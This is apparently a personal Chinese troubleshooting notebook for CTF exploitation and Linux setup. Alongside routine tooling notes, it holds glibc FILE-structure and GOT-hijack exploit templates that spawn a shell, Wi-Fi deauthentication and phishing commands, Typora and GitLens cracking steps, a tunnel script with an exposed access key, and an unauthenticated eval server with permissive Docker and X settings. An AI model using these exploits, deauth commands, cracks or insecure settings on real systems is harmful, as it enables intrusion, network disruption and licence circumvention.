目录

疑难杂症宝典

目录

io_file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
payload = flat(
    {
        0x18: 1,
        0x20: 0,
        0x28: 1,
        0x30: 0,
        0x38: 0x1234,//call
        0x48: 0x4567,//rdi
        0x50: 1,
        0x68: 1,
        0xD8: 0x2173C0 + libc_base + 0x20,//IO_obstack_jumps + 0x20
        0xE0: heap_base + 0x3E0 + 0x10,//this_mem_address
    },
    filler="\x00",
)

libc got hijack修改的位置

修改strlen_got (通常为0x98)为

1
2
3
4
5
mov     r12, rsp
mov     rsi, ifname
mov     edx, 10h
mov     rdi, r12
call    j_strncpy_ifunc

然后将strncpy_got改为

1
2
pop     args
jmp     j_strcpy_ifunc

然后将strcpy_got改为gets_addr

Q:为什么要这么改

A: 因为这样改修改的字节数在0x20以内,不确定是不是所有的libc got的布局是一样的,原则上来说可以根据实际的布局来进行调整 可以看到stlen stncpy strcpy相隔不是很远

printf->strlen_got(hijack make rdi == rsp and call strncpy)->strncpy_got(pop xxx;jmp strcpy)->strcpy_got(gets)

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241105030016427.png

ubuntu安装picgo-core

1
2
3
4
5
6
7
wget https://nodejs.org/dist/v12.18.3/node-v12.18.3-linux-x64.tar.xz
unar node-v12.18.3-linux-x64.tar.xz
将bin写进env里面
npm install -g cnpm@6.0.0
npm config set strict-ssl false 
cnpm install picgo -g
更改~/.picgo/config.json

ida 搜索正则表达式

导出asm文件之后在文本编辑器中搜索

linux安装wechat等

1
2
wget -O- https://deepin-wine.i-m.dev/setup.sh | sh
sudo apt-get install com.qq.weixin.deepin 

buzzer环境搭建

首先安装brazel

1
2
3
4
5
sudo apt install apt-transport-https curl gnupg -y
curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor >bazel-archive-keyring.gpg
sudo mv bazel-archive-keyring.gpg /usr/share/keyrings
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/bazel-archive-keyring.gpg] https://storage.googleapis.com/bazel-apt stable jdk1.8" | sudo tee /etc/apt/sources.list.d/bazel.list
sudo apt update && sudo apt install bazel

RUN

1
2
bazel build :buzzer
sudo ./bazel-bin/buzzer_/buzzer

配置npc自动连接

新建npc.servcice放入到 /lib/systemd/system/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[Unit]
Description=npc
After=network.target
[Service]
Type=simple
ExecStart=/home/ubuntu/linux_amd64_client/start.sh
Restart=always
RestartSec=5
PrivateTmp=true
[Install]
WantedBy=multi-user.target

新建start.sh

1
2
3
#!/bin/bash

cd /home/ubuntu/linux_amd64_client && /home/ubuntu/linux_amd64_client/npc -server=150.158.32.70:8024 -vkey=fu080r3eg6tb3q4r -type=tcp-

vscode设置不自动进入虚拟环境

ctrl+shift+p 输入

1
>preferences:open remote settings json
1
2
"python.terminal.activateEnvironment": false,
"python.terminal.activateEnvInCurrentTerminal": false,

Linux下有三个命令:lsgrepwc。通过这三个命令的组合可以统计目录下文件及文件夹的个数。

  • 统计当前目录下文件的个数(不包括目录)
1
ls -l | grep "^-" | wc -l
  • 统计当前目录下文件的个数(包括子目录)
1
 ls -lR| grep "^-" | wc -l
  • 查看某目录下文件夹(目录)的个数(包括子目录)
1
ls -lR | grep "^d" | wc -l

docker使用代理

创建/etc/systemd/system/docker.service.d路径

1
sudo mkdir -p /etc/systemd/system/docker.service.d

创建 http-proxy.conf

1
sudo touch /etc/systemd/system/docker.service.d/http-proxy.conf

写入配置

vim /etc/systemd/system/docker.service.d/http-proxy.conf

粘贴下方配置代理并wq退出

1
2
3
4
[Service]
Environment="HTTP_PROXY=http://192.168.48.1:3333/"
Environment="HTTPS_PROXY=http://192.168.48.1:3333/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

重启服务

1
2
sudo systemctl daemon-reload 
sudo systemctl restart docker

linux使用云盘

需求是使用github-action来编译文件时会用到

1
https://github.com/tickstep/cloudpan189-go

安装

1
sudo curl -fsSL http://file.tickstep.com/apt/pgp | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/tickstep-packages-archive-keyring.gpg > /dev/null && echo "deb [signed-by=/etc/apt/trusted.gpg.d/tickstep-packages-archive-keyring.gpg arch=amd64,arm64] http://file.tickstep.com/apt cloudpan189-go main" | sudo tee /etc/apt/sources.list.d/tickstep-cloudpan189-go.list > /dev/null && sudo apt-get update && sudo apt-get install -y cloudpan189-go

使用

USER为用户名 PASSWORD为密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
     backup           备份文件或目录
     cd               切换工作目录
     cp               拷贝文件/目录
     download, d      下载文件/目录
     export           导出文件/目录元数据
     import           导入文件
     ls, l, ll        列出目录
     mkdir            创建目录
     mv               移动文件/目录
     pwd              输出工作目录
     rapidupload, ru  手动秒传文件
     rename           重命名文件
     rm               删除文件/目录
     share            分享文件/目录
     upload, u        上传文件/目录
     xcp              转存拷贝文件/目录,个人云和家庭云之间转存文件
1
2
cloudpan189-go login -username=$USER -password=$PASSWORD
cloudpan189-go upload retdec.7z /tmp

不能正常vnc连接

https://blog.csdn.net/a_1_1_1_2/article/details/130243284 https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240402154415-379.png

ubuntu desktop删除开机界面

1
2
3
4
5
6
cd /usr/share/lightdm/lightdm.conf.d
vim  50-greeter-wrapper.conf
加入下面三行
[SeatDefaults]
greeter-session=lightdm-gtk-greeter
autologin-user=ubuntu

解决nuc无显卡问题(需要>=ubuntu22.04)

https://dgpu-docs.intel.com/driver/client/overview.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
wget -qO - https://repositories.intel.com/gpu/intel-graphics.key | \
  sudo gpg --dearmor --output /usr/share/keyrings/intel-graphics.gpg
echo "deb [arch=amd64,i386 signed-by=/usr/share/keyrings/intel-graphics.gpg] https://repositories.intel.com/gpu/ubuntu jammy client" | \
  sudo tee /etc/apt/sources.list.d/intel-gpu-jammy.list
sudo apt update

sudo apt install -y \
  intel-opencl-icd intel-level-zero-gpu level-zero \
  intel-media-va-driver-non-free libmfx1 libmfxgen1 libvpl2 \
  libegl-mesa0 libegl1-mesa libegl1-mesa-dev libgbm1 libgl1-mesa-dev libgl1-mesa-dri \
  libglapi-mesa libgles2-mesa-dev libglx-mesa0 libigdgmm12 libxatracker2 mesa-va-drivers \
  mesa-vdpau-drivers mesa-vulkan-drivers va-driver-all vainfo hwinfo clinfo

sudo apt install -y \
  libigc-dev intel-igc-cm libigdfcl-dev libigfxcmrt-dev level-zero-dev

sudo apt update && sudo apt install  -y --install-suggests  linux-generic-hwe-22.04 

sudo reboot
uname -r

sudo apt update

sudo apt -y install \
    gawk \
    dkms \
    linux-headers-$(uname -r) \
    libc6-dev
sudo apt install -y \
  intel-i915-dkms intel-platform-vsec-dkms \
  intel-platform-cse-dkms intel-fw-gpu 
sudo reboot -h now

ubuntu安装google浏览器

1
2
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb 

google启动时使用代理

1
google-chrome --proxy-server=socks5://127.0.0.1:2222

ssh display

使用ssh -Y

gef常用指令

1
slub-contains + 地址

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240321093431-431.png

1
slub-dump kmemcache名称 -q -n -v

linux 激活typora

1
2
3
4
5
proxychains4 wget https://download.typora.io/linux/typora_1.8.9_amd64.deb
sudo dpkg -i ./typora_1.8.9_amd64.deb
wget https://github.com/Delppine1024/TGreen/releases/download/v1.8.9/app_asar_file_v1.8.9.zip
unar app_asar_file_v1.8.9.zip
sudo cp app.asar /usr/share/typora/resources/app.asar

gdb has unknown type; cast it to its declared type

/usr/lib/debug/.build-id丢失 从glibc-all-in-one中拷贝过去

copilot-gpt4-service使用

1
2
sudo proxychains4 git clone https://github.com/aaamoon/copilot-gpt4-service
sudo docker-compose -f example/docker-compose/with-next-chatgpt-web.docker-compose.yaml up -d

运行脚本获取token

1
2
3
export http_proxy=http://ip:port
export https_proxy=http://ip:port
bash -c "$(curl -fsSL https://raw.githubusercontent.com/aaamoon/copilot-gpt4-service/master/shells/get_copilot_token.sh)"

启动

1
2
cd copilot-gpt4-service
sudo docker-compose -f example/docker-compose/with-next-chatgpt-web.docker-compose.yaml up -d

访问

http://localhost:3000/#/auth

填入token即可 https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240301201837-272.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240209020527-520.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240209020527-521.png

git 突然失效

在~/.ssh/config

C:\Users\名称\.ssh\config

1
2
3
4
5
6
Host 192.168.48.128
  HostName 192.168.48.128
  User ubuntu
Host github.com
  Hostname ssh.github.com
  Port 443

gitLens cracker

1
2
3
4
5
sudo find / -name "state.vscdb"
/home/ubuntu/.config/Code/User/globalStorage/state.vscdb
strings 
/home/ubuntu/.config/Code/User/globalStorage/state.vscdb |grep expire
然后修改日期

git commit添加verify

https://www.jianshu.com/p/195cac3a2b2c

正则

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240218003329-691.png

git rebase

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
pick c50221f commit B
pick 73deeed commit C
pick d9623b0 commit D
pick e7c7111 commit E
pick 74199ce commit F

# 变基 ef13725..74199ce 到 ef13725(5 个提交)
#
# 命令:
# p, pick <提交> = 使用提交
# r, reword <提交> = 使用提交,但修改提交说明
# e, edit <提交> = 使用提交,进入 shell 以便进行提交修补
# s, squash <提交> = 使用提交,但融合到前一个提交
# f, fixup <提交> = 类似于 "squash",但丢弃提交说明日志
# x, exec <命令> = 使用 shell 运行命令(此行剩余部分)
# b, break = 在此处停止(使用 'git rebase --continue' 继续变基)
# d, drop <提交> = 删除提交
......

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240303204657-702.png

AFL++

1
PYTHONPATH=`dirname /src/home/ubuntu/test/fuzz/test_fuzz.py` AFL_PYTHON_MODULE=test_fuzz AFL_DEBUG=1 AFL_CUSTOM_MUTATOR_ONLY=1 afl-fuzz -i in -o out -m none -Q ./1

debug_shellcode起不来

别在共享文件夹中运行

python虚拟环境

1
2
3
4
5
sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper
export WORKON_HOME=~/Envs
mkdir -p $WORKON_HOME
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
mkvirtualenv angr && pip install angr -i https://pypi.tuna.tsinghua.edu.cn/simple

python3.10和python3.8共存

1
2
3
4
5
6
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3.8
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3.10
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3.8
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3.10
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | python3
proxychains4 curl -sS https://bootstrap.pypa.io/get-pip.py | sudo python3

buildroot编译

mipsel

1
2
sudo make qemu_mips32r2el_malta_defconfig
sudo make

vscode配置代理

1
2
export http_proxy=http://IP地址:port
export https_proxy=http://IP地址:port

route配置路由表

1
2
3
4
route print
route add 192.168.1.0 mask 255.255.255.0 192.168.1.1
route add 0.0.0.0 mask 0.0.0.0 192.168.10.66
route add 要走的ip mask 掩码 网关

oh my zsh卡顿

1
2
3
git config --add oh-my-zsh.hide-dirty 1 && git config --add oh-my-zsh.hide-status 1
取消
git config --remove-section oh-my-zsh

obsidian picgo配置

参考链接

1
npm install picgo -g

配置文件

1
2
3
linux 和 macOS 均为`~/.picgo/config.json`
windows 则为`C:\Users\你的用户名\.picgo\config.json`

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20231220120309-831.png

ida script使用

修改

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20231216151010-970.png

为ifconfig即主机ip

然后gdb里面执行

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20231216151040-749.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20231216151052-262.png

1
attach(p,"set ida-enabled on\nset ida-rpc-host 192.168.48.1\nboff {}".format(sys.argv[1]))
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/env python
from __future__ import annotations

import datetime
import threading
import xmlrpc.client as xmlclient
from xml.sax.saxutils import escape
from xmlrpc.server import SimpleXMLRPCServer

import idaapi
import idc

# Wait for any processing to get done
idaapi.auto_wait()

# On Windows with NTFS filesystem a filepath with ':'
# is treated as NTFS ADS (Alternative Data Stream)
# and so saving file with such name fails
# dt = datetime.datetime.now().isoformat().replace(":", "-")

# Save the database so nothing gets lost.
# idc.save_database(idc.get_idb_path() + "." + dt)


DEBUG_MARSHALLING = False


def create_marshaller(use_format=None, just_to_str=False):
    assert (
        use_format or just_to_str
    ), "Either pass format to use or make it converting the value to str."

    def wrapper(_marshaller, value, appender):
        if use_format:
            marshalled = use_format % value
        elif just_to_str:
            marshalled = f"<value><string>{escape(str(value))}</string></value>"

        if DEBUG_MARSHALLING:
            print(f"Marshalled: '{marshalled}'")

        appender(marshalled)

    return wrapper


xmlclient.Marshaller.dispatch[type(1 << 63)] = create_marshaller("<value><i8>%d</i8></value>")
xmlclient.Marshaller.dispatch[int] = create_marshaller("<value><i8>%d</i8></value>")
xmlclient.Marshaller.dispatch[idaapi.cfuncptr_t] = create_marshaller(just_to_str=True)

host = "192.168.48.1"
port = 31337

mutex = threading.Condition()


def wrap(f):
    def wrapper(*a, **kw):
        rv = []
        error = []

        def work():
            try:
                result = f(*a, **kw)
                rv.append(result)
            except Exception as e:
                error.append(e)

        with mutex:
            flags = idaapi.MFF_WRITE
            if f == idc.set_color:
                flags |= idaapi.MFF_NOWAIT
                rv.append(None)
            idaapi.execute_sync(work, flags)

        if error:
            msg = f"Failed on calling {f.__module__}.{f.__name__} with args: {a}, kwargs: {kw}\nException: {str(error[0])}"
            print("[!!!] ERROR:", msg)
            raise error[0]

        return rv[0]

    return wrapper


def register_module(module):
    for name, function in module.__dict__.items():
        if hasattr(function, "__call__"):
            server.register_function(wrap(function), name)


def decompile(addr):
    """
    Function that overwrites `idaapi.decompile` for xmlrpc so that instead
    of throwing an exception on `idaapi.DecompilationFailure` it just returns `None`.
    (so that we don't have to parse xmlrpc Fault's exception string on pwndbg side
    as it differs between IDA versions).
    """
    try:
        return idaapi.decompile(addr)
    except idaapi.DecompilationFailure:
        return None


def get_decompile_coord_by_ea(cfunc, addr):
    if idaapi.IDA_SDK_VERSION >= 720:
        item = cfunc.body.find_closest_addr(addr)
        y_holder = idaapi.int_pointer()
        if not cfunc.find_item_coords(item, None, y_holder):
            return None
        y = y_holder.value()
    else:
        lnmap = {}
        for i, line in enumerate(cfunc.pseudocode):
            phead = idaapi.ctree_item_t()
            pitem = idaapi.ctree_item_t()
            ptail = idaapi.ctree_item_t()
            ret = cfunc.get_line_item(line.line, 0, True, phead, pitem, ptail)
            if ret and pitem.it:
                lnmap[pitem.it.ea] = i
        y = None
        closest_ea = idaapi.BADADDR
        for ea, line in lnmap.items():
            if closest_ea == idaapi.BADADDR or abs(closest_ea - addr) > abs(ea - addr):
                closest_ea = ea
                y = lnmap[ea]

    return y


def decompile_context(addr, context_lines):
    cfunc = decompile(addr)
    if cfunc is None:
        return None
    y = get_decompile_coord_by_ea(cfunc, addr)
    if y is None:
        return cfunc
    lines = cfunc.get_pseudocode()
    retlines = []
    for lnnum in range(max(0, y - context_lines), min(len(lines), y + context_lines)):
        retlines.append(idaapi.tag_remove(lines[lnnum].line))
        if lnnum == y:
            retlines[-1] = ">" + retlines[-1][1:]
    return "\n".join(retlines)


def versions():
    """Returns IDA & Python versions"""
    import sys

    return {
        "python": sys.version,
        "ida": idaapi.get_kernel_version(),
        "hexrays": idaapi.get_hexrays_version() if idaapi.init_hexrays_plugin() else None,
    }


server = SimpleXMLRPCServer((host, port), logRequests=False, allow_none=True)
register_module(idaapi)
register_module(
    idc
)  # prioritize idc functions over above (e.g. idc.get_next_seg/ida_segment.get_next_seg)

server.register_function(lambda a: eval(a, globals(), locals()), "eval")
server.register_function(wrap(decompile))  # overwrites idaapi/ida_hexrays.decompile
server.register_function(wrap(decompile_context), "decompile_context")  # support context decompile
server.register_function(wrap(versions))
server.register_introspection_functions()

print(f"IDA Pro xmlrpc hosted on http://{host}:{port}")
print("Call `shutdown()` to shutdown the IDA Pro xmlrpc server.")

thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()


def shutdown():
    global server
    global thread
    server.shutdown()
    server.server_close()
    del server
    del thread

ubuntu bp安装

1
2
sudo apt-get install openjdk-17-jdk
sudo update-alternatives --config java

ubuntu BP抓不到包

1
主要针对firefox浏览器,打开about:config页面,搜索network.proxy.allow_hijacking_localhost双击变为true。

busybox找poweroff

  1. 我们通过阅读busybox源码搜索poweroff可以看到如下的引用

    https://s2.loli.net/2022/03/30/OdmzvbnqoXi43SK.png

    并且可以看到如下关键字/proc/meminfod:+nfwi关键字,因此我们可以直接搜索这两个字符串即可

    https://s2.loli.net/2022/03/30/B7EdLH2sIfOy8ox.png

可以看到该函数的偏移为5fdac8减去基地址400000可知偏移为0x1fdac8 + 1,因此便可以将该函数改为一段shellcode,然后输入exit即可提权

找到poweroff的偏移地址然后打poweroff

house of apple板子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
write_anywhere(stderr_addr + 104,p64(free_hook),stdin_addr)
    payload = flat({
        0:[u64("  sh;\x00\x00\x00")],
    })
    write_anywhere(free_hook,payload,stdin_addr)
    write_anywhere(free_hook + 0x20,p64(0),stdin_addr)
    write_anywhere(free_hook + 0x28,p64(1),stdin_addr)
    write_anywhere(free_hook + 0xd8,p64(0x2160c0 + libc_base),stdin_addr)
    write_anywhere(free_hook + 0xa0,p64(free_hook + 0x100),stdin_addr)
    write_anywhere(free_hook + 0x100 + 0xe0,p64(free_hook+0x200),stdin_addr)
    write_anywhere(free_hook + 0x200 + 0x68,p64(sys_addr),stdin_addr)
1
2
3
4
5
6
7
0->flags: u64("  sh;\x00\x00\x00")
0x20->_IO_write_base: 0
0x28->_IO_write_ptr: 1
0xa0->_wide_data: 可控地址A
0xd8->vtavle:_IO_wfile_jumps 可以调用_IO_wfile_overflow
A+0xe0->_wide_vtable: 可控地址B
B+0x68->_wide_data->_wide_vtable->doallocate: call func

删除大文件

1
sudo du -h . --max-depth=1 | sort -hr | head -n 10

qemu编译

1
2
3
4
wget https://download.qemu.org/qemu-8.0.5.tar.xz
mkdir build
cd build
../configure --gdb=/usr/bin/gdb --enable-debug --prefix=/usr/local
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL		0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP		0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)	(0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)	(0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG		0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW		0x7fff0000U

seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm -

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

i386

1
2
3
4
5
6
7
8
A = arch
A == ARCH_I386 ? next : dead
A = sys_number
A == execve ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)

seccomp-tools asm rule.asm -a i386 -f carray seccomp-tools asm rule.asm -a amd64 -f carray

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
int secc(){
    unsigned char bpf[] = {32,0,0,0,4,0,0,0,21,0,0,8,62,0,0,192,32,0,0,0,0,0,0,0,21,0,6,0,3,0,0,0,21,0,5,0,231,0,0,0,21,0,0,3,2,0,0,0,32,0,0,0,16,0,0,0,84,0,0,0,255,0,0,0,21,0,1,0,124,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,5,0};
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    struct sock_fprog sfp = {11,bpf};
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

asan可以检测到内存泄露的几种方式

  • 将申请的堆块传递给栈变量,不使用exit退出,而是使用直接返回的方式退出
  • 将申请的堆块赋值给全局变量,需要赋值两次
  • 假设有结构体,赋值给全局变量,只free了整个结构体
  • 给局部变量申请一个堆块之后再申请一个堆块
  • 没检测出来可能是加了沙箱,把run去掉

vscode 常用扩展

intellicode

tabnine

codeql

Vscode counter

sarif view

docker 不同sudo

1
2
3
sudo gpasswd -a ${USER} docker
sudo systemctl restart docker
sudo chmod a+rw /var/run/docker.sock

docker gui显示错误

dockefile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
WORKDIR /root/
COPY ./autogen.sh /tmp/autogen.sh
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list
RUN sed -i "s/deb http:\/\/se/#/g" /etc/apt/sources.list
RUN sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list 
RUN apt-get update
RUN apt-get install 
RUN apt-get install libxml2-dev libxslt1-dev libsqlite3-dev libwebkit2gtk-4.0-dev libjson-glib-dev libgirepository1.0-dev libpeas-dev libfribidi-dev gsettings-desktop-schemas-dev python3 libtool intltool git libsoup-3.0 webkit2gtk-4.1 autoconf gedit -y
RUN git config --global http.proxy http://192.168.1.9:2222
RUN git config --global http.proxy socks://192.168.1.9:2222
RUN git clone https://github.com/lwindolf/liferea
RUN cd liferea

CMD [ "/bin/sh" ]

docker-compose.yml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
version: "3"
services:
  app:
    image: check:latest
    build: .
    environment:
      - DISPLAY=${DISPLAY}
    volumes:
      - /tmp/.X11-unix:/tmp/.X11-unix
    network_mode: host
    tty: true

bash

1
2
3
sudo docker-compose up --build -d
sudo xhost + local:docker
sudo xhost +

docker gdbserver调试

1
sudo docker run -tid --security-opt seccomp=unconfined -p 127.0.0.1:2333:2333
1
./gdbserver 0.0.0.0:1234 ./pwn

调试docker内的进程,比如ctf通过xinetd 启动的进程

可以直接通过attach来进行调试

docker image上传dockerhub

在dockerhub上新建一个docker仓库

1
2
sudo docker tag imageid username/仓库名字:容器名字
sudo docker push username/仓库名字:容器名字

docker build的时候使用代理

后面加一个参数

1
--build-arg https_proxy=http://192.168.48.1:2222 --build-arg http_proxy=http://192.168.48.1:2222

解包类的指令尽量不要在共享文件夹中使用!!!

binwalk安装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pip3 install git+https://github.com/ReFirmLabs/binwalk.git --user
pip3 install pycryptodome --user
pip3 install matplotlib PyQt5 pyqtgraph --user
sudo apt install libxkbcommon-x11-0
pip3 install capstone --user
sudo apt install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord
sudo apt install build-essential liblzma-dev liblzo2-dev zlib1g-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch
wget https://downloads.sourceforge.net/project/squashfs/squashfs/squashfs4.3/squashfs4.3.tar.gz
rm -rf squashfs4.3
tar -zxvf squashfs4.3.tar.gz
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
cd LZMA/lzmadaptive/C/7zip/Compress/LZMA/
mv LZMA.h LZMA2.h
cd ../../../../../../LZMA/lzmalt/
mv LZMA.h LZMA3.h
cd ../../
sed -i "s/#include \"LZMA.h\"/#include \"LZMA2.h\"/g" LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMADecoder.h
sed -i "s/#include \"LZMA.h\"/#include \"LZMA2.h\"/g" LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMAEncoder.h
sed -i "s/#include \"LZMA.h\"/#include \"LZMA3.h\"/g" LZMA/lzmalt/LZMADecoder.h
make
cp ./sasquatch ~/.local/bin
cd ../../../
rm -rf sasquatch
sudo apt install liblzma-dev
pip2 install pyliblzma cstruct --user
pip2 install git+https://github.com/sviehb/jefferson.git --user
sudo apt install liblzo2-dev
pip3 install python-lzo
pip3 install git+https://github.com/jrspruitt/ubi_reader.git --user
pip2 install git+https://github.com/devttys0/yaffshiv --user

hackmd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
version: "3"
services:
  database:
    image: postgres:11.6-alpine
    environment:
      - POSTGRES_USER=codimd
      - POSTGRES_PASSWORD=change_password
      - POSTGRES_DB=codimd
    volumes:
      - "database-data:/var/lib/postgresql/data"
    restart: always
  codimd:
    image: hackmdio/hackmd:2.3.2
    environment:
      - CMD_DB_URL=postgres://codimd:change_password@database/codimd
      - CMD_USECDN=false
    depends_on:
      - database
    ports:
      - "3000:3000"
    volumes:
      - upload-data:/home/hackmd/app/public/uploads
    restart: always
volumes:
  database-data: {}
  upload-data: {}

maze

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def solve_maze(mp):
    #delta = [x,y,path]
    delta = [
        [-1,0,"3"],[1,0,"4"],[0,1,"2"],
        [0,-1,"1"]    #操作数需要改
    ]
    path = ""
    M,N = 5,5 #长和宽需要改
    st = mp.index("*") #需要改起始位置
    ed = mp.index("#") #终点位置
    ID = lambda x,y: y * M + x
    vis = [[False] * M for _ in range(N)]

    def dfs(x,y,cPath = ""):
        nonlocal path
        if x < 0 or x >= M or y < 0 or y >= N or vis[x][y] or mp[ID(x,y)] == "1":# 不可以走的路径
            return False
        if ID(x,y) == ed:
            path = cPath
            return True
        vis[x][y] = True
        for i in range(4):# 对应delta有几个操作数
            fl = dfs(x + delta[i][0],y + delta[i][1],cPath + delta[i][2])
            if fl:
                vis[x][y] = False
                return True
        vis[x][y] = False
        return False

    dfs(st % M,st // M)
    return path

def main():
    mp = "*11110100001010000101111#" #迷宫的数据
    path = solve_maze(mp)
    print(path)

if __name__ == "__main__":
    main()

hyper打开和关闭

打开

1
bcdedit /set hypervisorlaunchtype auto

关闭

1
bcdedit /set hypervisorlaunchtype off

v8相关

fetch v8之后卡住不动 尽量不要用proxychains4

1
2
3
4
5
git config --global http.proxy http://192.168.48.1:2222
git config --global http.proxy socks://192.168.48.1:2222
export http_proxy=http://192.168.48.1:2222
export https_proxy=http://192.168.48.1:2222
git config --global --unset http.proxy

先执行gclinet然后再删除.gclient然后再fetch v8

ens33网卡失效

1
2
sudo dhclient ens33
ifconfig ens33 up

如果没有ifconfig

1
2
3
4
systemctl stop NetworkManager
systemctl disable NetworkManager
service network-manager restart
sudo dhclient ens33

airodump 使用

1
2
3
4
5
sudo airmon-ng
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng -c 11 --bssid 10:9F:4F:80:8A:EA -w hach wlan0mon
sudo aireplay-ng -0 20 -a 10:9F:4F:80:8A:EA -c 58:8F:CF:84:7D:EE wlan0mon

wifi钓鱼

1
sudo apt install wifiphisher

出题相关

awd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
service ctf
{
    disable = no
    socket_type = stream
    protocol    = tcp
    flags       = REUSE
    wait        = no
    user        = root
    type        = UNLISTED
    cps         = 65536 1
    port        = 9999
    bind        = 0.0.0.0
    server      = /usr/sbin/chroot
    # replace helloworld to your program
    server_args = --userspec=pwnuser:pwnuser /home/ctf /challenge/main
    banner_fail = /etc/banner_fail
    # safety options
    per_source	= 5
    rlimit_cpu	= 20
    rlimit_as  = 2500M
    #access_times = 2:00-9:00 12:00-24:00
    kafel_rule = /etc/pwn.kafel
}

https://github.com/google/kafel

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
